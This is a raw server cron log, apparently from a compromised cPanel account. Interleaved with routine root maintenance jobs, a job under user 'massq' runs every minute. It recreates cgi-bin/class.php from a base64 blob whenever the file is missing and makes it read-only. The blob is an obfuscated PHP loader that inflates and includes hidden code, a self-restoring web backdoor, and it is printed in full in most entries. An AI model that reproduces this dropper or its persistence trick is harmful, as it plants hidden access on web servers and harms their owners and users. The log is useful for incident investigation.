Nov 12 15:07:01 server CROND[8018]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:08:01 server CROND[8847]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:09:01 server CROND[9575]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 15:09:01 server CROND[9577]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:10:01 server CROND[10056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 15:10:01 server CROND[10057]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 15:10:01 server CROND[10059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:10:01 server CROND[10058]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 15:11:01 server CROND[10818]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:12:01 server CROND[11677]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 15:12:01 server CROND[11679]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:13:01 server CROND[12421]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:14:01 server CROND[13309]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:15:01 server CROND[14121]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:15:01 server CROND[14122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 15:15:01 server CROND[14123]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 15:16:01 server CROND[14599]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:17:01 server CROND[15423]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:18:01 server CROND[15757]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:19:01 server CROND[16663]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 15:20:01 server CROND[17486]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 15:20:01 server CROND[17487]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 15:20:01 server CROND[17490]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 15:20:01 server CROND[17489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
